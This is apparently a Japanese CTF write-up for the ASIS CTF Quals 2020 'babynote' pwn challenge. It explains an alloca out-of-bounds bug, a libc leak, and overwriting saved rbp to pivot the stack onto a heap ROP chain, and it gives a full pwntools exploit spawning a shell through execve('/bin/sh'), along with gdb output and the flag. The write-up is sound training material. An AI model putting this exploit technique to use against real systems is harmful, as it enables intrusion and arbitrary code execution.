---
tags: pwn
---

# ASIS CTF Quals 2020 - babynote

これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU

## 作問者リポジトリ

<https://bitbucket.org/ptr-yudai/writeups-2020/src/master/ASIS_CTF_Quals_2020/>

## Writeup

### Outline

いつものHeap問題...と思いきやHeap上に処理を移してROPする問題、とは言えadd(create+edit), delete, showは普通に出来る
最初に指定した分だけポインタが入る動的配列(おそらく`alloca`を利用)をスタック上に用意してHeap領域を指すポインタを用意している。
この際、指定した容量だけrspが上(アドレス的には小さい方)に伸びるのだが、ここで負数を指定するとrspが下がる。これはshort型で渡すので65535を指定すれば-1を指定したのと同じになる。
ポインタのインデックス指定は最初に入力した容量以内の数しか出来ないが、65535を指定すればそこまでは指定出来るのでスタック上の殆どの値に対してshowやdeleteが出来、Heapのアドレスの限るが上書きもできる。
これを利用してlibc leakしする。また、これらの処理はmain関数から呼ばれているのでmain関数上の処理の続行の為に退避されたrbpを書き換えればmain関数でのleave処理でスタックをHeap上のアドレスに移すことが出来る
というわけで古いrbpを上書きしたポインタが指す先にROPチェーンを仕込んでおいてシェルを取る

### Checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

### Binary

libcは2.27

main関数はスッキリしている

undefined8 main(void)

{
  short sVar1;
  
  sVar1 = readuint(&DAT_00100ee6);
  note((ulong)(uint)(int)sVar1);
  return 0;
}

`note`関数をGhidraでデコンパイルするとrspがピュンピュン動いている処理が書かれていてややこしいのでデコンパイル結果は割愛、おそらく最初に入力する`n`を容量として`alloca`で動的配列が生成されており、そこにHeap上を指すポインタが格納される。

コマンドは次の3種類

* new: インデックスとサイズとデータを指定してcreate+editする
* show: インデックスを指定して中身を見る
* delete: インデックスを指定してfreeする

この問題の厄介ポイントその1がdelete時のポインタクリアで、このせいでUAFやDouble Freeは出来ない
その2はmallocではなくcallocを使っている点でこのせいでtcacheではなくfastbinから使われるようになる、またfastbinから取る際のチェックも結構厳しいらしい
その3はその2との併用で威力を発揮するのだが、サイズに指定できるのが0x40以下という点でこのせいでfastbinの使用を強制される、僕たちのtcacheを返して

### OOB

このバイナリのおそらく唯一の脆弱性が`alloca`に負数を指定できる点である。といっても-1を入れても弾かれる。そこで65535を入れるとshort型でキャストされるので-1を渡したのと同じ扱いになる。
普通に指定すると最初に指定した数より多い数や負数をインデックスに指定することは出来ない、これが出来ればスタック上で配列がある部分より上だったり下だったりする部分が指定出来るのだが出来ない。
一方で負数の容量を指定したことでrspが上ではなく下(アドレス的に値が大きい方)に動いたと同時に65535まではインデックスを指定出来るので実質スタック上の殆どの値をインデックスに指定出来ることになる。

ここでインデックス0, 1にそれぞれnoteを作ってみた時のスタックの様子が次の通り

gdb-peda$ telescope 32
0000| 0x7ffffffedbb0 --> 0x8403260 --> 0x61616161 ('aaaa')
0008| 0x7ffffffedbb8 --> 0x8403290 --> 0x62626262 ('bbbb')
0016| 0x7ffffffedbc0 --> 0x3533353536 ('65535')
0024| 0x7ffffffedbc8 --> 0xffff08000e4d 
0032| 0x7ffffffedbd0 --> 0x7ffffffedbb0 --> 0x8403260 --> 0x61616161 ('aaaa')
0040| 0x7ffffffedbd8 --> 0x45a43fd5eedfd200 
0048| 0x7ffffffedbe0 --> 0x7ffffffedc00 --> 0x8000e00 --> 0x41d7894956415741 
0056| 0x7ffffffedbe8 --> 0x8000dac --> 0x55c3c900000000b8 
0064| 0x7ffffffedbf0 --> 0x7ffffffedce0 --> 0x1 
0072| 0x7ffffffedbf8 --> 0xffff000000000000 
0080| 0x7ffffffedc00 --> 0x8000e00 --> 0x41d7894956415741 
0088| 0x7ffffffedc08 --> 0x7fffff021b97 (<__libc_start_main+231>:       mov    edi,eax)
0096| 0x7ffffffedc10 --> 0x1 
0104| 0x7ffffffedc18 --> 0x7ffffffedce8 --> 0x7ffffffedf57 ("/mnt/c/share/CTF/asis2020/babynote-distfiles/chall")
0112| 0x7ffffffedc20 --> 0x100008000 
0120| 0x7ffffffedc28 --> 0x8000d89 --> 0x10ec8348e5894855 
0128| 0x7ffffffedc30 --> 0x0 
0136| 0x7ffffffedc38 --> 0x86b5068d3d674b05 
0144| 0x7ffffffedc40 --> 0x80008c0 --> 0x89485ed18949ed31 
0152| 0x7ffffffedc48 --> 0x7ffffffedce0 --> 0x1 
0160| 0x7ffffffedc50 --> 0x0 
0168| 0x7ffffffedc58 --> 0x0 
0176| 0x7ffffffedc60 --> 0x794ae97099474b05 
0184| 0x7ffffffedc68 --> 0x794ae88917f94b05 
0192| 0x7ffffffedc70 --> 0x7fff00000000 
--More--(25/32)
0200| 0x7ffffffedc78 --> 0x0 
0208| 0x7ffffffedc80 --> 0x0 
0216| 0x7ffffffedc88 --> 0x7fffff410733 (<_dl_init+259>:        add    r14,0x8)
0224| 0x7ffffffedc90 --> 0x7fffff3e7638 --> 0x7fffff199e10 --> 0x8348535554415541 
0232| 0x7ffffffedc98 --> 0x3881b101 
0240| 0x7ffffffedca0 --> 0x0 
0248| 0x7ffffffedca8 --> 0x0 
gdb-peda$ 

rspにインデックス0が来てそのまま下方向に添え字が増えていく配列になっている。ということはスタック上の値がポインタとして使えればshowやdeleteを発動することが出来る。
ここでこの図をよく観察するとオフセット0224にlibc中を指してそうなポインタが見える(pedaだと色が違うのでわかりやすい)。ここが何かはよく知らないがこれを利用してlibc leak出来る(libc+0x199e10 でオフセットが固定なので)

### ROP on Heap

さて、上で述べたOOBのおかげでnew時にインデックスに対応するスタック上にHeapのアドレスを放り込むことが出来る。これは特に意味が無さそうに見えるがmain関数内で退避させたrbpを上書きすることが出来る。これはmain関数に戻ったときには意味無いが、main関数が処理を終えて`__libc_start_main`に戻ろうとする時に効果がある。

言うまでも無いことだが、通常関数が呼び出し元に戻る時はスタックを元に戻すために次のような命令が実行される。

mov rsp, rbp
pop rbp

これは関数呼び出し時に呼び出し元のrbpをpushしているのでそれを復元する処理である。今回はこれによってrbpがHeap上のアドレスになってmainに戻る。
といってもmainも直ぐに終わってしまい`__libc_start_main+231`に戻ろうとして、再びこの2つ命令が実行される。
この時`mov rsp, rbp`によってスタックポインタが先程`rbp`に代入されたHeap上のアドレスになる。するとスタックポインタが変わったことで`pop rbp`した後のスタックトップに入っている箇所へジャンプする。
ということはこのHeap上の領域へ書き込みする際に、次のように値を入れておけばHeap上でROPをすることが出来る

0xdeadbeefcafebabe: pop rbpでrbpに入る値
(次に飛ばしたいアドレス、例えばpop rdi; retがあるところ)
(第一引数)
...

今回は`system("/bin/sh")`を実行しようとしたら何故かretを挟んでも失敗したので作問者Writeup同様`execve("/bin/sh", null, null)`を実行した。
One Gadgetはなんとなく失敗しそうなので試してない(は?)

## Code

from pwn import u64, p64, process, remote, ELF


def select(s, sel, c=b"> "):
    s.recvuntil(c)
    s.sendline(str(sel))


def new(s, idx, size, data=b"/bin/sh"):
    select(s, 1)
    s.recvuntil(b"index: ")
    s.sendline(str(idx))
    s.recvuntil(b"size: ")
    s.sendline(str(size))
    s.recvuntil(b"data: ")
    s.send(data)


def show(s, idx):
    select(s, 2)
    s.recvuntil(b"index: ")
    s.sendline(str(idx))
    s.recvuntil(b"[+] data: ")
    return s.recvline().rstrip()


def delete(s, idx):
    select(s, 3)
    s.recvuntil(b"index: ")
    s.sendline(str(idx))


if __name__ == '__main__':
    """
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    """

    target = "69.172.229.147"
    port = 9001
    # s = remote(target, port)
    s = process("./chall")
    libc = ELF("./libc-2.27.so")
    system_libc = libc.symbols["system"]
    execve_libc = libc.symbols["execve"]
    binsh_libc = next(libc.search(b"/bin/sh\x00"))
    
    n = 65535
    s.recvuntil(b": ")
    s.sendline(str(n).encode())

    idxs = {
        "heap": 4,
        "stack": 13,
        "libc": 28,
        "old_rbp": 6
    }

    offset = {
        "heap": 0,
        "stack": 0,
        "libc": 0x199e10
    }

    rpg = {
        "ret": 0x21560,
        "poprdxrsi": 0x1306d9,
        "poprdi": 0x2155f
    }

    heap_idx = 4
    stack_idx = 13
    libc_idx = 28

    new(s, 0, 0x20)

    heap_addr = u64(show(s, idxs["heap"]).ljust(8, b"\x00")) - offset["heap"]
    libc_addr = u64(show(s, idxs["libc"]).ljust(8, b"\x00")) - offset["libc"]

    print(hex(heap_addr))
    print(hex(libc_addr))

    # 何故かsystem("/bin/sh")はret gadget入れても発火しなかった
    rop_payload = b"junkjunk"
    rop_payload += p64(libc_addr + rpg["poprdxrsi"])
    rop_payload += p64(0)
    rop_payload += p64(0)
    rop_payload += p64(libc_addr + rpg["poprdi"])
    rop_payload += p64(libc_addr + binsh_libc)
    rop_payload += p64(libc_addr + execve_libc)

    new(s, 6, 0x40, rop_payload)

    select(s, 0)
    s.interactive()

## Flag

当日解いたのは弊チームのDronexくんですが、鯖が生きていたので復習しました

`ASIS{b4by_st4ck_00b_n0t3}`

## 作問者Writeup

* <https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622#119pts-babynote-37-solves>

## 感想

完全にHeap問題かと思っていたら(Heap問題だったけれど)stack pivotと同じ要領でスタックトップを別の領域に移すというのが正攻法だった、作問が上手すぎる

ちなみに当日はHeapのアドレスが0x56aadeadbeefみたいな形になることを利用して0x56をfastbinのサイズヘッダとして利用する方法で解いていました、彼からWriteup貰ったら再現してこの企画で扱うかもしれません